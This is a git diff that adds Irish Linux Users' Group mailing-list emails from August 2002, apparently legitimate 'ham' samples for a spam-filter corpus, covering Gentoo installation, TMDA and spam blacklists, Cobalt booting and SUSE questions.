+List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00315.a747789b9299a2794c398ab9fd72c5fa b/bayes/spamham/easy_ham_2/00315.a747789b9299a2794c398ab9fd72c5fa new file mode 100644 index 0000000..ae36aa7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00315.a747789b9299a2794c398ab9fd72c5fa @@ -0,0 +1,75 @@ +From ilug-admin@linux.ie Fri Aug 9 16:04:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 05369440E3 + for ; Fri, 9 Aug 2002 10:59:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:59:53 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79Ebhb08662 for + ; Fri, 9 Aug 2002 15:37:43 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id UAA00514 for ; + Thu, 8 Aug 2002 20:39:12 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA01408; Thu, 8 Aug 2002 20:37:33 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from wonka.esatclear.ie (wonka.esatclear.ie [194.145.128.5]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id UAA01373 for ; + Thu, 8 Aug 2002 20:37:25 +0100 +Received: from debian (mpage@c-airlock159.esatclear.ie [194.145.132.159]) + by wonka.esatclear.ie (8.9.3/8.9.3) with SMTP id UAA10847 for + ; Thu, 8 Aug 2002 20:37:23 +0100 +Content-Type: text/plain; charset="iso-8859-1" +From: Mark Page +To: ilug@linux.ie +Date: Thu, 8 Aug 2002 20:36:54 +0100 +X-Mailer: KMail [version 1.2] +MIME-Version: 1.0 +Message-Id: <02080820365405.00338@debian> +Content-Transfer-Encoding: 8bit +Subject: [ILUG] Gentoo Linux +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + + +Has anybody on the list installed/used this distro? If so wouldn't mind a bit +of help. + + Burnt the ISO's from the latest Linux Format magazine. Took a couple of +attempts to install but got there. My problem - I have a standard dial-up +modem and the installation gives you the network card setup so internet +download is out of the question, but, I installed the Stage3 tarball which +puts the .tgz files on your harddrive. + + So methinks, I have the software there and all I need to do is install so as +1) get the necessary programmes to connect to the net and 2) install any +other programmes I might need. + + What actually happens is that if, for example, I attempt to install the KDE +package, the system goes looking for any dependencies on the net despite the +fact that the dependencies reside on my hard drive. Obviously I can't install +anything. + + Have checked all docs on the web page and nothing deals with a standard +dial-up modem or how to tell the package manager to look for the dependencies +on the hard drive. + + Anybody able to help me here? + + Thanks in anticipation. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00316.43881694518ce046ed02b9f0c119cb49 b/bayes/spamham/easy_ham_2/00316.43881694518ce046ed02b9f0c119cb49 new file mode 100644 index 0000000..736580a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00316.43881694518ce046ed02b9f0c119cb49 @@ -0,0 +1,87 @@ +From ilug-admin@linux.ie Fri Aug 9 16:05:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 59159440DD + for ; Fri, 9 Aug 2002 10:59:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:59:59 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79Ed3b08819 for + ; Fri, 9 Aug 2002 15:39:03 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id UAA00305 for ; + Thu, 8 Aug 2002 20:07:50 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA32750; Thu, 8 Aug 2002 20:06:20 +0100 +Received: from florence.ie.alphyra.com + (IDENT:qgSdufUD3/NJsnJ521pE5VnrTXxRzFxf@itg-gw.cr008.cwt.esat.net + [193.120.242.226]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id UAA32717 + for ; Thu, 8 Aug 2002 20:06:14 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host IDENT:qgSdufUD3/NJsnJ521pE5VnrTXxRzFxf@itg-gw.cr008.cwt.esat.net + [193.120.242.226] claimed to be florence.ie.alphyra.com +Received: from dunlop.admin.ie.alphyra.com + (IDENT:CC0f5u60ueaorKp3yFhdVTp7Zp65KNNi@dunlop.admin.ie.alphyra.com + [192.168.11.193]) by florence.ie.alphyra.com (8.11.6/8.11.6) with ESMTP id + g78J6CQ32271; Thu, 8 Aug 2002 20:06:12 +0100 +Date: Thu, 8 Aug 2002 20:06:12 +0100 (IST) +From: Paul Jakma +X-X-Sender: paulj@dunlop.admin.ie.alphyra.com +To: kevin lyda +Cc: irish linux users group +Subject: Re: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor] +In-Reply-To: <20020808195245.C24688@ie.suberic.net> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Thu, 8 Aug 2002, kevin lyda wrote: + +> the more the merrier + +indeed. + +> - makes it harder for spammers to do their work. however, tmda isn't +> an smtp proxy normally. + +well, smtp being store and forward, what is an smtp proxy? :) that's +why i said "proxy". + +probably, the most effective way to stop spam in the long-term is to +configure your email server to use the SPEWS blacklist and a good open +relay blacklist. + +SPEWS: to force ISPs to take action against spammers + +SPEWS /will/ list entire ISP netblocks /if/ the ISP consistently +ignores/fails to take action on abuse reports over the course of +several months. however, they're pretty quick at delisting once action +is taken. in the long-term, and in absence of global and effective +anti-UCE regulations, it's the only realistic way to get to a spam +free internet. + +Open relay lists: to protect against relays obviously. + +> kevin + +regards, +-- +Paul Jakma Sys Admin Alphyra + paulj@alphyra.ie +Warning: /never/ send email to spam@dishone.st or trap@dishone.st + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00317.a5647d450d497e4ff907f63a34a59848 b/bayes/spamham/easy_ham_2/00317.a5647d450d497e4ff907f63a34a59848 new file mode 100644 index 0000000..cba89c6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00317.a5647d450d497e4ff907f63a34a59848 @@ -0,0 +1,71 @@ +From ilug-admin@linux.ie Fri Aug 9 16:05:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 45DAF440E4 + for ; Fri, 9 Aug 2002 11:00:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 16:00:10 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EdLb08856 for + ; Fri, 9 Aug 2002 15:39:21 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id TAA32628 for ; + Thu, 8 Aug 2002 19:45:20 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA31741; Thu, 8 Aug 2002 19:44:19 +0100 +Received: from florence.ie.alphyra.com + (IDENT:F0sfkTy4yqGVF5iatW0p1W8X357CS3rs@itg-gw.cr008.cwt.esat.net + [193.120.242.226]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id TAA31708 + for ; Thu, 8 Aug 2002 19:44:13 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host IDENT:F0sfkTy4yqGVF5iatW0p1W8X357CS3rs@itg-gw.cr008.cwt.esat.net + [193.120.242.226] claimed to be florence.ie.alphyra.com +Received: from dunlop.admin.ie.alphyra.com + (IDENT:562le9a3CAGEWkXtE4DJZ5xe0dBipglE@dunlop.admin.ie.alphyra.com + [192.168.11.193]) by florence.ie.alphyra.com (8.11.6/8.11.6) with ESMTP id + g78IiBQ31987; Thu, 8 Aug 2002 19:44:11 +0100 +Date: Thu, 8 Aug 2002 19:44:11 +0100 (IST) +From: Paul Jakma +X-X-Sender: paulj@dunlop.admin.ie.alphyra.com +To: kevin lyda +Cc: irish linux users group +Subject: Re: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor] +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Thu, 8 Aug 2002, Paul Jakma wrote: + +> unfortunately, often spammers provide real return addresses - just not +> their own. +> +> so if everyone used tmda, these poor unfortunates would receive +> millions of tmda confirm messages, in addition to the hundred thousand +> 'undeliverable' messages that they already get.. + + http://messagewall.org/ + +same concept as tmda (smtp "proxy") but not as extreme as tmda.net - +dnsbl, distributed checksum and various other checks. + +regards, +-- +Paul Jakma Sys Admin Alphyra + paulj@alphyra.ie +Warning: /never/ send email to spam@dishone.st or trap@dishone.st + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00318.199f60e20cd89f6a902fb22e90275166 b/bayes/spamham/easy_ham_2/00318.199f60e20cd89f6a902fb22e90275166 new file mode 100644 index 0000000..a0e0a31 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00318.199f60e20cd89f6a902fb22e90275166 @@ -0,0 +1,76 @@ +From ilug-admin@linux.ie Fri Aug 9 16:05:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1E83C440F4 + for ; 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Thu, 8 Aug 2002 19:24:31 +0100 +Date: Thu, 8 Aug 2002 19:24:31 +0100 (IST) +From: Paul Jakma +X-X-Sender: paulj@dunlop.admin.ie.alphyra.com +To: kevin lyda +Cc: irish linux users group +Subject: Re: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor] +In-Reply-To: <20020808150737.C19598@ie.suberic.net> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Thu, 8 Aug 2002, kevin lyda wrote: + +> i'm certain they already do strip after the +. however, they'll +> have to respond to a confirm message when they send to my raw +> address. and responding to a confirm message requires spammers to +> provide a real email address (which i can then blacklist - i've +> mapped y in mutt to whitelist; Y to blacklist) and effectively send +> the spam to each individual (which makes spamming more expensive +> bandwidthwise for the spammer). + +unfortunately, often spammers provide real return addresses - just not +their own. + +so if everyone used tmda, these poor unfortunates would receive +millions of tmda confirm messages, in addition to the hundred thousand +'undeliverable' messages that they already get.. + +> kevin + +regards, +-- +Paul Jakma Sys Admin Alphyra + paulj@alphyra.ie +Warning: /never/ send email to spam@dishone.st or trap@dishone.st + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00319.9fdb50d80e1f34e30b93dd401c644f3d b/bayes/spamham/easy_ham_2/00319.9fdb50d80e1f34e30b93dd401c644f3d new file mode 100644 index 0000000..cfc2b0f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00319.9fdb50d80e1f34e30b93dd401c644f3d @@ -0,0 +1,67 @@ +From ilug-admin@linux.ie Fri Aug 9 16:05:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7B27B440F5 + for ; Fri, 9 Aug 2002 11:00:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 16:00:14 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EfYb09152 for + ; Fri, 9 Aug 2002 15:41:34 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id SAA32260 for ; + Thu, 8 Aug 2002 18:53:08 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id SAA29598; Thu, 8 Aug 2002 18:51:30 +0100 +Received: from iulus.wunsch.org (postfix@iulus.ip4.wunsch.org + [204.83.206.106]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id SAA29566 + for ; Thu, 8 Aug 2002 18:51:21 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host postfix@iulus.ip4.wunsch.org + [204.83.206.106] claimed to be iulus.wunsch.org +Received: by iulus.wunsch.org (Postfix, from userid 500) id B41A8738A; + Thu, 8 Aug 2002 11:51:18 -0600 (CST) +Date: Thu, 8 Aug 2002 11:51:18 -0600 +From: Scott Wunsch +To: ilug@linux.ie +Subject: Re: [ILUG] Cobalt question +Message-Id: <20020808175118.GC30251@iulus.wunsch.org> +References: <20020808103101.GA1853@jinny.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020808103101.GA1853@jinny.ie> +User-Agent: Mutt/1.4i +X-PGP-Fingerprint: 57C6 CF0D 302E E52E D231 649A 7B5D 0964 1F94 B9C3 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Thu, 08-Aug-2002 at 11:31:01 +0100, John P. Looney wrote: + +> I've installed Redhat 7.3 on a raq3's disk. But fscked if I can get the +> kernel in /boot/vmlinuz-2.4.18-3 to boot. It's insisting pulling the +> kernel from ... somewhere else. The old cobalt kernel. + +http://www.gurulabs.com/rgh-cobalt-howto/index.html + +The Cobalt systems have some neat firmware boot code that will read the +ext2 filesystem and find the kernel itself... if you put it exactly where +they expect it. + +-- +Take care, +Scott \\'unsch + +... Old musicians never die, they just decompose. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00320.b0cd1042164d8bd3ee1dab03a72edbc4 b/bayes/spamham/easy_ham_2/00320.b0cd1042164d8bd3ee1dab03a72edbc4 new file mode 100644 index 0000000..8d379e5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00320.b0cd1042164d8bd3ee1dab03a72edbc4 @@ -0,0 +1,71 @@ +From ilug-admin@linux.ie Mon Aug 12 11:05:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3248544149 + for ; Mon, 12 Aug 2002 05:55:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:46 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79IBBb19347 for + ; Fri, 9 Aug 2002 19:11:11 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA22495; Fri, 9 Aug 2002 19:07:42 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from web13906.mail.yahoo.com (web13906.mail.yahoo.com + [216.136.175.69]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id TAA22459 + for ; Fri, 9 Aug 2002 19:07:34 +0100 +Message-Id: <20020809180733.63093.qmail@web13906.mail.yahoo.com> +Received: from [159.134.176.26] by web13906.mail.yahoo.com via HTTP; + Fri, 09 Aug 2002 20:07:33 CEST +Date: Fri, 9 Aug 2002 20:07:33 +0200 (CEST) +From: =?iso-8859-1?q?Paul=20Linehan?= +To: ilug@linux.ie +In-Reply-To: <20020709103958.GA670@skynet.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Subject: [ILUG] ILUG newsgroup(s)? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + + +Hi all, + + +Is there any way that the mailing list can be +turned into newsgroup? + +Newsgroups are great for threading of discussions, +working offline and I feel that they work +much better for this sort of technical discussion +than a mailing list. + +Any ideas? + + +Paul... + +p.s. Hamster doesn't work, cos I get the list +through Yahoo! + + + + +___________________________________________________________ +Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en français ! +Yahoo! Mail : http://fr.mail.yahoo.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00321.366bc08c72ec1996baa4065c0dada072 b/bayes/spamham/easy_ham_2/00321.366bc08c72ec1996baa4065c0dada072 new file mode 100644 index 0000000..b1d6f1a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00321.366bc08c72ec1996baa4065c0dada072 @@ -0,0 +1,68 @@ +From ilug-admin@linux.ie Mon Aug 12 11:05:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2FDDA4414A + for ; Mon, 12 Aug 2002 05:55:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:47 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79IGFb19562 for + ; Fri, 9 Aug 2002 19:16:15 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA22955; Fri, 9 Aug 2002 19:13:52 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from web13901.mail.yahoo.com (web13901.mail.yahoo.com + [216.136.175.27]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id TAA22924 + for ; Fri, 9 Aug 2002 19:13:43 +0100 +Message-Id: <20020809181342.48823.qmail@web13901.mail.yahoo.com> +Received: from [159.134.176.26] by web13901.mail.yahoo.com via HTTP; + Fri, 09 Aug 2002 20:13:42 CEST +Date: Fri, 9 Aug 2002 20:13:42 +0200 (CEST) +From: =?iso-8859-1?q?Paul=20Linehan?= +To: ilug@linux.ie +In-Reply-To: <20020709103958.GA670@skynet.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Subject: [ILUG] SUSE 8 disks? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +Hi all, + + +I'm looking for the disks for SUSE 8. Does anybody +have them for a reasonable price? + + +I'm available to collect at the time of your +convenience anywhere in the East/Greater +Dublin area! + + +TIA. + + +Paul... + + + + +___________________________________________________________ +Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en français ! +Yahoo! Mail : http://fr.mail.yahoo.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00322.7d24d46d49eebe647615d706370ae123 b/bayes/spamham/easy_ham_2/00322.7d24d46d49eebe647615d706370ae123 new file mode 100644 index 0000000..e1bf7a6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00322.7d24d46d49eebe647615d706370ae123 @@ -0,0 +1,57 @@ +From ilug-admin@linux.ie Mon Aug 12 11:05:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D50454414C + for ; Mon, 12 Aug 2002 05:55:48 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:48 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79JpKb23124 for + ; Fri, 9 Aug 2002 20:51:20 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA26429; Fri, 9 Aug 2002 20:47:41 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from web21110.mail.yahoo.com (web21110.mail.yahoo.com + [216.136.227.112]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id UAA26392 + for ; Fri, 9 Aug 2002 20:47:34 +0100 +Message-Id: <20020809194731.2051.qmail@web21110.mail.yahoo.com> +Received: from [194.125.138.80] by web21110.mail.yahoo.com via HTTP; + Sat, 10 Aug 2002 05:47:31 EST +Date: Sat, 10 Aug 2002 05:47:31 +1000 (EST) +From: =?iso-8859-1?q?bryan=20roycroft?= +To: ilug@linux.ie +In-Reply-To: <200208091549.QAA16547@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Subject: [ILUG] yast2 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +has anyone had a problem with Yast2 not being able to +mount a source medium for installing new packages, on +suse 8.0? + +it finds the directory containing the source, so the +installation program gets as far as selecting +packages, and formatting, but then says it can't mount +the source directory? + + + +http://digital.yahoo.com.au - Yahoo! Digital How To +- Get the best out of your PC! + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00323.5cde61ff2c780291b15a802c513add1d b/bayes/spamham/easy_ham_2/00323.5cde61ff2c780291b15a802c513add1d new file mode 100644 index 0000000..449df11 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00323.5cde61ff2c780291b15a802c513add1d @@ -0,0 +1,75 @@ +From ilug-admin@linux.ie Mon Aug 12 11:05:17 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A439D4414D + for ; Mon, 12 Aug 2002 05:55:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:49 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79M3Hb26989 for + ; Fri, 9 Aug 2002 23:03:22 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA31310; Fri, 9 Aug 2002 23:00:23 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from web13901.mail.yahoo.com (web13901.mail.yahoo.com + [216.136.175.27]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id XAA31277 + for ; Fri, 9 Aug 2002 23:00:17 +0100 +Message-Id: <20020809220015.80151.qmail@web13901.mail.yahoo.com> +Received: from [159.134.176.22] by web13901.mail.yahoo.com via HTTP; + Sat, 10 Aug 2002 00:00:15 CEST +Date: Sat, 10 Aug 2002 00:00:15 +0200 (CEST) +From: =?iso-8859-1?q?Paul=20Linehan?= +Subject: Re: [ILUG] ILUG newsgroup(s)? +To: John Reilly +Cc: "Irish Linux Users' Group" +In-Reply-To: <001801c23fd4$5dedfe10$ea5012ac@xelector.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +John Reilly a écrit: + +> > Newsgroups are great for threading of discussions, +> > working offline and I feel that they work +> > much better for this sort of technical discussion +> > than a mailing list. + + +> I suppose its all down to personal preference, but I +> disagree strongly. + + +I suppose it is - however, nobody knows that +this message is a response to your one or a +follow-up to my own first message. + +With a newsgroup structure, this is obvious. + +This helps the reader eliminate threads which +are irrelevant to them or whatever. + + +Paul... + + + +___________________________________________________________ +Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en français ! +Yahoo! Mail : http://fr.mail.yahoo.com + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00324.39e5abfb6121670fb637bb0367feea19 b/bayes/spamham/easy_ham_2/00324.39e5abfb6121670fb637bb0367feea19 new file mode 100644 index 0000000..4b46dee --- /dev/null +++ b/bayes/spamham/easy_ham_2/00324.39e5abfb6121670fb637bb0367feea19 @@ -0,0 +1,60 @@ +From ilug-admin@linux.ie Mon Aug 12 11:05:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0E8784414B + for ; Mon, 12 Aug 2002 05:55:48 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:48 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79InAb21157 for + ; Fri, 9 Aug 2002 19:49:10 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA24179; Fri, 9 Aug 2002 19:45:49 +0100 +Received: from smtpout.xelector.com ([62.17.160.131]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA24148 for ; Fri, + 9 Aug 2002 19:45:43 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.160.131] claimed to + be smtpout.xelector.com +Received: from [172.18.80.234] (helo=xeljreilly) by smtpout.xelector.com + with smtp (Exim 3.34 #2) id 17dEYu-0000Wu-00; Fri, 09 Aug 2002 19:32:36 + +0100 +Message-Id: <001801c23fd4$5dedfe10$ea5012ac@xelector.com> +From: "John Reilly" +To: "Paul Linehan" +Cc: "Irish Linux Users' Group" +References: <20020809180733.63093.qmail@web13906.mail.yahoo.com> +Subject: Re: [ILUG] ILUG newsgroup(s)? +Date: Fri, 9 Aug 2002 19:41:26 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6600 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6600 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> Is there any way that the mailing list can be +> turned into newsgroup? +> +> Newsgroups are great for threading of discussions, +> working offline and I feel that they work +> much better for this sort of technical discussion +> than a mailing list. + +I suppose its all down to personal preference, but I disagree strongly. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git 